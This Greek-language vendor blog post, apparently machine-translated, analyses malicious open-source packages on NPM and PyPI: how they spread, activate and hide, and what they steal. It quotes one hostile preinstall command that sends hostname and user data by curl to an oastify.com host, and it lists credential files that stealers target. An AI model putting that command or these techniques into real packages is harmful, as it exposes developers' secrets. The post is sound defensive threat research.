Κακόβουλα Πακέτα 5

Ανατομία των κακόβουλων πακέτων: Ποιες είναι οι τάσεις;

Στο προηγούμενο επεισόδιο, Κακόβουλα πακέτα ανοιχτού κώδικα: Το πρόβλημα, συζητήσαμε γιατί οι απειλητικοί παράγοντες ήταν τόσο ενθουσιασμός για τη δημοσίευση νέων κακόβουλων στοιχείων ή την έγχυση κακόβουλου λογισμικού στις πιο πρόσφατες εκδόσεις υπαρχόντων στοιχείων: Η υποδομή ανοιχτού κώδικα επιτρέπει σε οποιονδήποτε, οπουδήποτε, να δημιουργήσει έναν προσωρινό λογαριασμό σε ένα μητρώο στοιχείων (όπως NPM, PyPI, Docker Hub ή Visual Studio Marketplace) ή σε μια πλατφόρμα συνεργατικής ανάπτυξης (όπως GitHub). Μηδενικό κόστος και πολλές ευκαιρίες για αξιοποίηση της υπερβολικής εμπιστοσύνης που παραδοσιακά έχουν οι ομάδες λογισμικού σε στοιχεία τρίτων. 

Η ασυμμετρία μεταξύ του πόσο εύκολο είναι για τους εισβολείς να διανέμουν κακόβουλο λογισμικό χρησιμοποιώντας την υποδομή που είναι διαθέσιμη για το ανοιχτό λογισμικό και του πόσο δύσκολο είναι για τους οργανισμούς που αναπτύσσουν λογισμικό (όλοι;) να αποφύγουν τη μόλυνση από κακόβουλο λογισμικό (και να παραδώσουν κακόβουλο λογισμικό στο λογισμικό που διανέμουν για άλλους), οδήγησε στο να φτάσει σχεδόν το όριο του 250.000 κακόβουλων πακέτων πέρυσι. 

Πρόκειται για ένα πρόβλημα τέτοιου μεγέθους που κανένας οργανισμός από μόνος του δεν μπορεί να το λύσει, και η κοινότητα βρίσκεται στη διαδικασία αναδιαμόρφωσης της διαδικασίας ανοιχτού κώδικα σχετικά με την εμπιστοσύνη, τις αρχές ασφάλειας εξ ορισμού και ασφάλειας βάσει σχεδιασμού, καθώς και τον κύκλο ζωής των στοιχείων. Θα εξετάσουμε τέτοιες ιδέες στο επόμενο επεισόδιο. Προστασία από κακόβουλα πακέτα ανοιχτού κώδικα: Τι λειτουργεί (δεν λειτουργεί).

Να θυμάστε ότι μιλάμε για στοιχεία λογισμικού που τις περισσότερες φορές αντιστοιχούν σε πακέτα λογισμικού: επαναχρησιμοποιήσιμα στοιχεία συσκευασμένα έτσι ώστε να μπορούν να αναφέρονται ως εξάρτηση σε ένα μανιφέστο λογισμικού και να εγκαθίστανται με έναν διαχειριστή πακέτων ή ένα εργαλείο δημιουργίας. Λάβετε υπόψη ότι αυτή η περίπτωση θα μπορούσε να επεκταθεί ώστε να περιλαμβάνει δημόσια εικόνες κοντέινερ (χρησιμοποιείται από χρόνους εκτέλεσης κοντέινερ και πλατφόρμες ενορχήστρωσης όπως το Kubernetes), και επεκτάσεις σε εργαλεία λογισμικού (για κατασκευή, αυτοματοποίηση και ανάπτυξη). 

Εδώ αναλύουμε πώς αυτό τακτική επίθεσης βασισμένη σε κακόβουλα στοιχεία λειτουργεί, σύμφωνα με προηγούμενα παραδείγματα και όσα έχουμε δει στην πλατφόρμα μας για την έγκαιρη προειδοποίηση κακόβουλου λογισμικού (MEW). Θα αναλύσουμε κακόβουλα στοιχεία σε διαφορετικές διαστάσεις: 

(1) ο τρόπος που επιλέχθηκε για τη διανομή (το μητρώο που χρησιμοποιήθηκε, σε ένα νέο ή υπάρχον στοιχείο, και η τεχνική που χρησιμοποιήθηκε για τη μόλυνση της δημοσιευμένης έκδοσης του στοιχείου), (2) πώς ενεργοποιείται ή πυροδοτείται το κακόβουλο λογισμικό, (3) η κακόβουλη συμπεριφορά, δηλαδή ποιες επιβλαβείς ενέργειες παρατηρούνται και ποιο είναι το κίνητρο του εισβολέα, (4) ποιες τεχνικές είναι συνηθισμένες για την απόκρυψη, την απόκρυψη για να περάσουν απαρατήρητα, την πλευρική κίνηση, την επικοινωνία με τους κεντρικούς υπολογιστές διοίκησης και ελέγχου (C2) κ.λπ. και (5) οι τεχνικές για την απόκτηση αρκετής δημοτικότητας και εμπιστοσύνης, ώστε τα θύματα να καταλήξουν να εγκαταστήσουν το στοιχείο.

Ο Μηχανισμός Διανομής που Επιλέχθηκε

Παρατηρούμε ένα «θόρυβος στο παρασκήνιο"από απλά κακόβουλα πακέτα που χρησιμοποιούν typosquatting για να παραπλανήσουν τους απρόσεκτους προγραμματιστές με ένα τυπογραφικό λάθος στο όνομα του πακέτου για την εξάρτησή τους. Πολλά δημοφιλή πακέτα λαμβάνουν μια καταιγίδα από πακέτα με παρόμοια ονόματα και τυπογραφικά λάθη, με την προσδοκία ότι θα παραπλανήσουν ορισμένους απρόσεκτους προγραμματιστές." 

Χρησιμοποιούν έναν εφήμερο λογαριασμό, δημοσιεύουν μια ομάδα πακέτων typosquat, δημιουργούν μια άλλη και δημοσιεύουν μια άλλη ομάδα... Χρησιμοποιώντας κάποια αυτοματοποίηση και εφευρετικότητα, μπορούν να επιτύχουν κάποια πολυπλοκότητα, αλλά συνήθως είναι μάλλον ασήμαντα. Εσωτερικά τα ονομάζουμε "αντσούγιες«Η κλοπή διαπιστευτηρίων είναι ο κύριος στόχος, αλλά περιστασιακά διαπιστώνουμε ότι το spyware κλέβει τον πηγαίο κώδικα ή ευαίσθητα δεδομένα, όπως προσωπικά αναγνωρίσιμες πληροφορίες (PII), καταγραφή στο πρόχειρο και άλλες ανησυχίες.»

Ξαφνικά βλέπουμε πιο εξελιγμένα κακόβουλα στοιχεία, τους «καρχαρίες». Μια μειοψηφία στοχεύει σε συγκεκριμένες ομάδες ή οργανισμούς, συνήθως με crypto drainers ή web skimmers που ενεργοποιούνται υπό όρους, ίσως ακολουθώντας την προσέγγιση που παρατηρείται στο συμβάν ροής συμβάντος της αποκρυπτογράφησης του ωφέλιμου φορτίου επίθεσης μόνο όταν το πακέτο αναφέρεται από ένα πακέτο-στόχο. 

Ο μηχανισμός διανομής αναλύθηκε στην εξαιρετική και πλέον κλασική εργασία, «Συλλογή Μαχαιριών Backstabber: Μια ανασκόπηση των επιθέσεων στην αλυσίδα εφοδιασμού λογισμικού ανοιχτού κώδικα", το οποίο πρέπει οπωσδήποτε να διαβάσετε. Σίγουρα έχετε ξαναδεί αυτό το ωραίο διάγραμμα: 

κακόβουλα πακέτα

Εξερευνήθηκαν όλες οι οδοί, συμπεριλαμβανομένων νέων και υπαρχόντων πακέτων, επηρεασμού του πηγαίου κώδικα, του συστήματος κατασκευής ή του ίδιου του συσκευασμένου στοιχείου, χρήσης κλεμμένων διαπιστευτηρίων ή κοινωνικής μηχανικής, πειρατείας εγκαταλελειμμένων λογαριασμών και αποθετηρίων ή δηλητηρίασης διατηρούμενων. Ορισμένες επιθέσεις έλαβαν ονόματα (Τύπος, Σύγχυση Εξάρτησης, Πρόδηλη Σύγχυση, Repo-jacking. κ.λπ.) και έχουν ήδη συζητηθεί αλλού. 

Τι γίνεται με τα επιλεγμένα μητρώα;

Το NPM συνεχίζει να ηγείται στον συνολικό αριθμό κακόβουλων πακέτων, αλλά είδαμε μια αύξηση που ξεκίνησε φέτος στο PyPI. Η Python είναι ένα δημοφιλές οικοσύστημα για την επιστήμη δεδομένων και τη μηχανική μάθηση. Στην πραγματικότητα, η πυκνότητα κακόβουλου λογισμικού είναι πλέον υψηλότερη στο PyPI από ό,τι στο NPM. 

Πώς ενεργοποιείται το κακόβουλο λογισμικό

Τα κακόβουλα πακέτα ενεργοποιούνται κατά την εγκατάσταση μόνο σε 4 από τις 10 περιπτώσεις (τα τελευταία χρόνια ήταν κοντά στις 6 στις 10). Τα υπόλοιπα εμφανίζουν κακόβουλη συμπεριφορά κατά τον χρόνο εκτέλεσης, με 1 στις 100 να ενεργοποιούνται κατά την εκτέλεση δοκιμών. Οι επιτιθέμενοι φαίνεται να γνωρίζουν ότι η ανεξέλεγκτη εκτέλεση σεναρίων εγκατάστασης ήταν απενεργοποιημένη σε πολλά σημεία.

Τι παθαίνουν οι κακοί;

Θα απαριθμήσουμε τις κατηγορίες κακόβουλης συμπεριφοράς, με τις πιο δημοφιλείς πρώτες. Λάβετε υπόψη ότι ο αντίκτυπος μπορεί να είναι αρκετά διαφορετικός: α καθαριστής είναι πεισματικά καταστροφικό, αλλά δεν είναι συνηθισμένο και παρατηρήθηκε μόνο σε λίγες περιπτώσεις, που σχετίζονται με στοχευμένες εκστρατείες κυβερνοπολέμου ή βάναυσο χακτιβισμό. Οι ακόλουθες κατηγορίες είναι αρκετά συνηθισμένες:

  • InfoStealer / Διαπιστευτήρια DrainerΟι πιο συχνές, πάνω από το 90% των απλών επιθέσεων είναι απλές κλοπές που αναζητούν κυρίως διαπιστευτήρια όπως κωδικούς πρόσβασης, διακριτικά πρόσβασης, κλειδιά API και ιδιωτικά κλειδιά (για SSH και τα παρόμοια). Είναι πιθανώς το πιο απλό στην εγγραφή (μαζί με τα wipers;). Απαριθμούν γνωστά αρχεία/καταλόγους και άλλες πηγές (π.χ. κλειδιά μητρώου), συσκευάζουν τα περιεχόμενα και στέλνουν αυτά τα δεδομένα σε έναν διακομιστή C2. Η ιδέα είναι απλή: «Δημοσιεύω ένα κλέφτη για διαπιστευτήρια ηλεκτρονικού "ψαρέματος" (phishing), ώστε να μπορώ αργότερα να χρησιμοποιήσω τα διαπιστευτήρια για την έναρξη μιας κατευθυνόμενης επίθεσης». 

Η δικτύωση C2 που παρατηρείται είναι συνήθως φθηνή και βρώμικη, όπως τα κανάλια Telegram ή εργαλεία διάνοιξης σηράγγων τύπου ngrok (συχνά με τη μορφή αντίστροφων proxy που εκτίθενται μέσω IP εξόδου VPN). Υπάρχουν εκατοντάδες (!) δυνατότητες, με πολλά έργα GitHub να βρίσκονται υπό την θέμα κλοπής κωδικών πρόσβασηςΕξειδικεύσεις όπως τα keyloggers είναι σπάνιες για κακόβουλα πακέτα και εικόνες κοντέινερ, αλλά πιο συχνές σε επεκτάσεις εργαλείων, όπου αναμένεται αλληλεπίδραση χρήστη.

  • Dropper / DownloaderΤο δεύτερο σε δημοτικότητα, συνήθως πρώτο σε επιθέσεις πολλαπλών σταδίων. Περισσότερα από ένα στα τρία κακόβουλα στοιχεία έχουν droppers (εάν το κακόβουλο ωφέλιμο φορτίο περιλαμβάνεται στο πακέτο) ή downloaders (το ωφέλιμο φορτίο λαμβάνεται από ένα τελικό σημείο υπό τον έλεγχο του εισβολέα). Το ωφέλιμο φορτίο είναι συχνά μια γνωστή παραλλαγή δυαδικού κακόβουλου λογισμικού και εκτελείται και μερικές φορές παραμένει, για την εγκατάσταση backdoors, spyware, crypto drainers και άλλων περιπτώσεων χρήσης. Το ωφέλιμο φορτίο που λαμβάνεται ή αναπτύσσεται ξεκινά μια επίθεση δεύτερης φάσης με όλη την ισχύ που παρέχεται από τα υπάρχοντα δυαδικά αρχεία κακόβουλου λογισμικού. Τα δυαδικά αρχεία μπορούν να διανεμηθούν μέσα στο πακέτο, συχνά μεταμφιεσμένα ως εικόνες ή υποτιθέμενα αβλαβείς τύποι αρχείων, για να αποφευχθεί η ανίχνευση κατά τη σύνδεση σε μη αναμενόμενους ιστότοπους. 
  • Κλέφτες / Εξορύκτες ΚρυπτονομισμάτωνΟι αντίπαλοι με οικονομικά κίνητρα είναι πρόθυμοι να χρησιμοποιήσουν τα περιουσιακά σας στοιχεία cloud για την εκτέλεση cryptominers (ανιχνεύουν ακόμη και αν εκτελούνται σε εικονική μηχανή cloud). Δεν τους ενδιαφέρει το χαμηλό ποσοστό κέρδους του 1 δολαρίου για κάθε 53 δολάρια που χρεώνονται στο θύμα για την κλεμμένη υποδομή cloud. Τα θύματα ενδέχεται να μην το γνωρίζουν αυτό μέχρι να λάβουν έναν απροσδόκητο λογαριασμό. Ευτυχώς, αυτό συμβαίνει και παρέρχεται. Cryptojacking περιστασιακά εμφανίζονται καμπάνιες σε κακόβουλα πακέτα και στη συνέχεια εξαφανίζονται, κάνοντας phishing σε χρήστες πορτοφολιών ή τελικά στοχεύοντας τον πάροχο πορτοφολιών, όπως στην περίπτωση Επίθεση Ledger.   

Άλλες συμπεριφορές, όπως η ανάπτυξη ενός κερκόπορτα για απομακρυσμένη εκτέλεση κώδικα ανοίγοντας ένα reverse shell είναι λιγότερο συχνή τώρα από ό,τι στο παρελθόν. Για παράδειγμα, το 123rf_contributor_web το πακέτο (που τώρα αφαιρέθηκε από το μητρώο) ανοίγει χωρίς καμία απόκρυψη, ένα αντίστροφο κέλυφος αντιγράφηκε και επικολλήθηκε από το Φύλλο εξαπάτησης αντίστροφου κελύφους:

κακόβουλα πακέτα 2
Κακόβουλοι τύποι πακέτων παρατηρήθηκαν κατά την εβδομάδα 24-30 Ιουνίου 2024.

Εκτός από τα νόμιμα και κακόβουλα στοιχεία, έχουμε παρατηρήσει αρκετές καταχρήσεις, όπως:

Πακέτα ανεπιθύμητης αλληλογραφίας

Υπάρχουν χιλιάδες μικρά πακέτα, κυρίως στο NPM, χωρίς κακόβουλο λογισμικό, αλλά υπόσχονται εύκολα κέρδη, φιδίσια έλαια, συνδέσμους προς προσφορές Viagra και όλα αυτά. Μερικοί χρήστες δημοσιεύουν τέτοιου είδους ανεπιθύμητα μηνύματα και καταλαμβάνουν πολύ εύρος ζώνης από το μητρώο. Ένας άλλος παράγοντας (ή παράγοντες) πιθανώς από την Ινδονησία προσπάθησε να αποκομίσει όφελος από... κατάχρηση του teaRank προορίζεται για την αποζημίωση προγραμματιστών ανοιχτού κώδικα, δημιουργώντας δεκάδες χιλιάδες αλληλένδετα πακέτα NPM με σχετικά εικονικά αποθετήρια GitHub. Αυτή είναι μια σαφής παραβίαση των όρων χρήσης.

Απάτες για bug bouncy και έρευνα ασφαλείας

 Όταν ένα πακέτο περιγράφει τον εαυτό του ως αποσπώντα δεδομένων για καλούς σκοπούς, όπως η ανίχνευση κενών ασφαλείας για προγράμματα bug bouncy ή η έρευνα ορισμένων πτυχών του οικοσυστήματος. Έχουμε δει χιλιάδες πακέτα σε αυτήν την κατηγορία, τα οποία ανακτούν δεδομένα ταυτοποίησης αλλά όχι πολύ ευαίσθητα σε μια διεύθυνση Burp Collaborator από το PortSwigger (π.χ. host στον τομέα oastify.com). Παρατηρήσαμε συχνά αντιγραφείς του... Σύγχυση Εξάρτησης απόδειξη της ιδέας από τον Alex Birsan, όπως το aurora-webmail-pro πακέτο (αφαιρέθηκε από το μητρώο), το οποίο απλώς εκτελεί αυτόν τον άσχημο κώδικα στο σενάριο προεγκατάστασης:

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")  

Και περιλάμβανε επίσης ένα «Αυτή είναι η απλή επίθεση σύγχυσης εξάρτησης από την απόδειξη της έννοιας«περιγραφή αποποίησης ευθύνης στο πακέτο.json. Αυτή είναι μια σαφής παραβίαση των όρων παροχής υπηρεσιών, ακόμη και χωρίς κακόβουλη πρόθεση. 

Κάποια καλά νέα; Δεν έχουμε δει (ακόμα) επιθέσεις ransomware να πραγματοποιούνται μέσω κακόβουλων στοιχείων. Για άγνωστους λόγους, οι κυβερνοεγκληματίες φαίνεται να προτιμούν πιο παραδοσιακούς μηχανισμούς ηλεκτρονικού "ψαρέματος" μέσω email, μηχανισμούς παράδοσης λήψεων που βασίζονται σε RDP και μηχανισμούς παράδοσης λήψεων μέσω drive-by. 

Πρόσθετες Τεχνικές που Παρατηρήθηκαν 

κακόβουλα πακέτα 3

Χρησιμοποιήθηκαν πολλές τεχνικές για την επιμονή, την αμυντική αποφυγή, τη συλλογή πληροφοριών, την επικοινωνία με κεντρικούς υπολογιστές διοίκησης και ελέγχου και την εκδιήθηση. 

Επιμονή σε κακόβουλα στοιχεία αποκτάται χρησιμοποιώντας τις δυνατότητες persistence σε ένα δυαδικό κακόβουλο λογισμικό δεύτερου σταδίου, αλλά μερικές φορές η συμπεριφορά εντοπίζεται στον κώδικα του πακέτου, με τις προγραμματισμένες εργασίες και τις αλλαγές στο μητρώο των Windows να είναι οι πιο συνηθισμένες. 

Συσκότιση είναι συνηθισμένο, αλλά απλό. Τα περισσότερα πακέτα τυπογραφικών λαθών (θυμηθείτε το "αντσούγιες"?") δεν χρησιμοποιούν καθόλου συσκότιση. Πολλοί χρησιμοποιούν είτε απλές (κωδικοποίηση base64/hex ή κρυπτογραφήματα αντικατάστασης όπως το rot13) είτε χρησιμοποιούν διαθέσιμους συσκότισης κώδικα και ελαχιστοποίηση, η οποία αντιστρέφεται εύκολα με τα σωστά εργαλεία. Μόνο οι "καρχαρίες" κάνουν πραγματική, σκληροπυρηνική συσκότιση, δύσκολη στην αντίστροφη μηχανική.

Η συσκότιση μπορεί να αποκρύψει την επίθεση, αλλά γιατί θα έπρεπε να συσκοτιστεί ο κώδικας σε ένα στοιχείο ανοιχτού κώδικα; Υπάρχουν στοιχεία ότι κάτι πρέπει να κρυφτεί από το κοινό; Έχουμε βρει πολλές περιπτώσεις μη κακόβουλων πακέτων που χρησιμοποιούν συσκότιση για την προστασία της πνευματικής ιδιοκτησίας, κάτι που έρχεται σε αντίθεση με τον όρο «ανοιχτού κώδικα». Η συσκότιση μπορεί να χρησιμοποιηθεί ως απόδειξη κακόβουλου λογισμικού, αλλά δεν είναι οριστική. Είναι επίσης δύσκολο να αποσυσκοτιστεί. 

Evasion από τους αμυντικούς ελέγχους υιοθετεί απλές τεχνικές. Ο κακόβουλος κώδικας συχνά προστατεύεται σε προσπαθώ… πιάνω μπλοκ που αγνοούν τυχόν εξαιρέσεις, επομένως η μη φυσιολογική δραστηριότητα δεν εμφανίζεται στα αρχεία καταγραφής. Η επαλήθευση του περιβάλλοντος (που εκτελείται σε εικονική μηχανή ή κοντέινερ) είναι σπάνια, εκτός εάν πρόκειται για κακόβουλο λογισμικό που στοχεύει έναν συγκεκριμένο οργανισμό ή περιβάλλον.

Η μεταμφίεση δυαδικών αρχείων σε εικόνες και αρχεία PDF (ένα είδος στεγανογραφίας) ήταν μια άλλη τεχνική που παρατηρήθηκε για να αποφευχθεί ο εντοπισμός.

Καθώς τα πιο συνηθισμένα κακόβουλα στοιχεία είναι τα infostealers, συλλογή δεδομένων είναι απαραίτητο. Τα μυστικά (κωδικοί πρόσβασης, διακριτικά πρόσβασης, κλειδιά API, κλειδιά κρυπτογράφησης) σαρώνονται τακτικά σε αρχεία καταγραφής, μεταβλητές περιβάλλοντος, ακόμη και στο πρόχειρο (όπως παρατηρείται με τραπεζικά trojan και κλέφτες κρυπτονομισμάτων). Η αφαίρεση πηγαίου κώδικα είναι επίσης συχνή, καθώς η εγκατάσταση του πακέτου γίνεται συχνά σε έναν κόμβο ανάπτυξης όπου ενδέχεται να κλωνοποιηθούν εσωτερικά αποθετήρια git. Έχουμε δει πακέτα να απαριθμούν καταλόγους αναζητώντας αποθετήρια git. Η αναζήτηση τοποθεσιών όπως .env, private.pem, settings.py, app.js ή application.properties είναι αρκετά συνηθισμένη.

Η εξαγωγή δεδομένων είναι μια άλλη ευρέως διαδεδομένη ενέργεια. Μόνο μια μειοψηφία κακόβουλων πακέτων προσπαθεί ακόμη και να κρύψει τον προορισμό των εξαγόμενων δεδομένων. Τα κανάλια Telegram και σήραγγες που μοιάζουν με ngrok χρησιμοποιούνται συχνά. Και υπάρχουν πολλά συνήθως καταχωρημένοι σε λευκή λίστα τομείς που χρησιμοποιούνται για εξαγωγή

Άλλες τεχνικές, όπως η κλιμάκωση προνομίων ή η πλευρική κίνηση, ήταν λιγότερο συχνές. 

Κερδίζοντας δημοτικότητα και εμπιστοσύνη

Φανταστείτε έναν απατεώνα τεχνολογίας με ένα έτοιμο, κακόβουλο πράγμα να αναρωτιέται: «Πώς μπορώ να κάνω αυτό το κομμάτι βλακείας αξιόπιστο σε αυτούς τους ανυποψίαστους ηλίθιους;». 

Αυτό μεταφράζεται στον τρόπο δημιουργίας της καταχώρησης για το κακόβουλο στοιχείο ώστε να εμφανίζονται πολλά αστέρια / διακλαδώσεις (για δημοτικότητα), καθώς και εκδόσεις / προβλήματα και pull requests (για δραστηριότητα). Η ιδέα είναι να αποκτηθεί πλασματική δημοτικότητα (αστέρια) και εξαρτώμενα άτομα, καθώς και μια πειστική ματιά όσον αφορά τη συνάφεια και τη διατήρηση. 

Το μητρώο δεν ελέγχει εάν τα περιεχόμενα ενός έργου GitHub και τα περιεχόμενα του πακέτου ταιριάζουνΑυτό είναι ένα πολύ γνωστό ζήτημα στην αλυσίδα εφοδιασμού λογισμικού. Τα δημόσια μητρώα είναι γιγάντιες καταβόθρες που καταπίνουν οτιδήποτε τους πετιέται. Μπορείτε να συνδέσετε οποιοδήποτε αποθετήριο. 

κακόβουλα πακέτα 4
Κατανομή στοιχείων για πιθανό κακόβουλο λογισμικό κατά την εβδομάδα 24-30 Ιουνίου 2024.

Εάν το κακόβουλο πακέτο με τυπογραφικό λάθος καταλαμβάνει ένα δημοφιλές πακέτο, αυτό είναι εύκολο: απλώς αναφέρετε το υπάρχον αποθετήριο GitHub στο μανιφέστο εξαρτήσεων που χρησιμοποιήθηκε για τη δημιουργία του πακέτου και τη δημοσίευσή του στο μητρώο. Για νέα πακέτα σε ένα ψεύτικο αποθετήριο GitHub, μπορεί να χρειαστείτε περισσότερη εφευρετικότητα, ίσως δημιουργώντας ψεύτικα πακέτα. παρατήρηση άστρων/διακλάδωση Λογαριασμοί GitHub μέσω scripting.

Και αν τα περιεχόμενα του πακέτου σας είναι αρκετά παρόμοια με το αποθετήριο, κάντε μερικές καλοσχεδιασμένες αλλαγές εδώ κι εκεί... Μπορείτε να εισάγετε το κακόβουλο λογισμικό σας σε ένα νέο πακέτο που μοιάζει με ένα δημοφιλές που αναφέρεται στο αποθετήριο του υπάρχοντος και να περιμένετε τα τυπογραφικά λάθη. Αν κάποιος τολμήσει να συγκρίνει τα περιεχόμενα του tarball του πακέτου με τα περιεχόμενα από το αποθετήριο GitHub, οι διαφορές στα σημεία εισαγωγής κακόβουλου λογισμικού θα μπορούσαν εύκολα να παραβλεφθούν. Έχουμε δει αυτήν την προσέγγιση πολλές φορές στο παρελθόν. 

Ένας μηχανισμός για ένα στοιχείο που θα κάνει μια δήλωση απαραβίαστη σχετικά με την προέλευση, τον τρόπο δημιουργίας του πακέτου, από ποιες πηγές και από ποιον, θα ήταν ευπρόσδεκτος. Αλλά αυτή είναι μια άλλη ιστορία. 

Είναι το Component X κακόβουλο λογισμικό;

Υπάρχει (ολοκληρωμένη) βάση δεδομένων κακόβουλων πακέτων; Όχι. Τα τρωτά σημεία ανοιχτού κώδικα έχουν ένα CVE ID, αλλά μόνο σε λίγα κακόβουλα πακέτα (ιδιαίτερα σε αυτά που κάνουν πρωτοσέλιδα) δίνεται ένα. Το CWE για κακόβουλα πακέτα είναι CWE-506 (ενσωματωμένος κακόβουλος κώδικας). 

Τα συνηθισμένα εργαλεία κακόβουλου λογισμικού (VirusTotal, MalwareBazaar, SOREL-20M…) δεν προβλέπουν συγκεκριμένες διατάξεις για κακόβουλα στοιχεία. Αυτό θα ήταν ευπρόσδεκτο!

Υπάρχουν βάσεις δεδομένων και σύνολα δεδομένων για ανάλυση (χρησιμοποιούμε μερικά από αυτά), αλλά οι καταχωρήσεις ενημερώνονται μόνο όταν το κακόβουλο πακέτο είναι γνωστό, κάτι που συχνά είναι πολύ αργά. Αν σας ενδιαφέρει, το OpenSSF Κακόβουλα πακέτα είναι μια ωραία αρχή.

Στην επόμενη ανάρτηση, θα συζητήσουμε πώς να γνωρίζουμε εάν ένα δεδομένο πακέτο είναι κακόβουλο. Spoiler: ναι, υπάρχουν τρόποι ελέγχου για κακόβουλα στοιχεία νωρίς κατά τη διάρκεια του παραθύρου έκθεσης, πριν το μητρώο αφαιρέσει ένα γνωστό κακόβουλο στοιχείο.

Περαιτέρω ανάγνωση

Στο επόμενο επεισόδιο «Προστασία από κακόβουλα πακέτα ανοιχτού κώδικα: Τι λειτουργεί (δεν λειτουργεί)" Θα συζητήσουμε τα πράγματα που πρέπει και τα δεν πρέπει να κάνετε για την ασφάλεια ανοιχτού κώδικα. Οι περισσότεροι επαγγελματίες που έχουν επίγνωση της ασφάλειας έχουν διαίσθηση σχετικά με το πώς να χειριστούν αυτήν την απειλή, αλλά υπάρχουν πολλές παρανοήσεις. 

Θα εξετάσουμε γιατί αυτές οι ιδέες είναι λανθασμένες και πώς τέτοιες παρανοήσεις συμβάλλουν στη δημοτικότητα αυτού του μηχανισμού επίθεσης και στον συντριπτικό κίνδυνο που αντιμετωπίζουν οι οργανισμοί. Στη συνέχεια, θα προχωρήσουμε με το τι λειτουργεί και ποια είναι η προσπάθεια και οι πόροι που εμπλέκονται. 

Επίσης, θα δημοσιεύσουμε πληροφορίες σχετικά με την εξέλιξη των κακόβουλων πακέτων όσον αφορά την πρόθεσή τους, τον μηχανισμό έγχυσης και τις τεχνικές επίθεσης.

Μείνετε συντονισμένοι!

Αναφορές

Κακόβουλα πακέτα ανοιχτού κώδικα: Το πρόβλημα

Προστασία από κακόβουλα πακέτα OSS: Τι λειτουργεί (δεν λειτουργεί)

εργαλεία-ανάλυσης-σύνθεσης-λογισμικού-sca
Ιεράρχηση, αποκατάσταση και ασφάλεια των κινδύνων λογισμικού σας
Αποκτήστε τον Δωρεάν Λογαριασμό σας.
Δεν απαιτείται πιστωτική κάρτα.

Ασφαλίστε την ανάπτυξη και την παράδοση λογισμικού σας

με το Xygeni Product Suite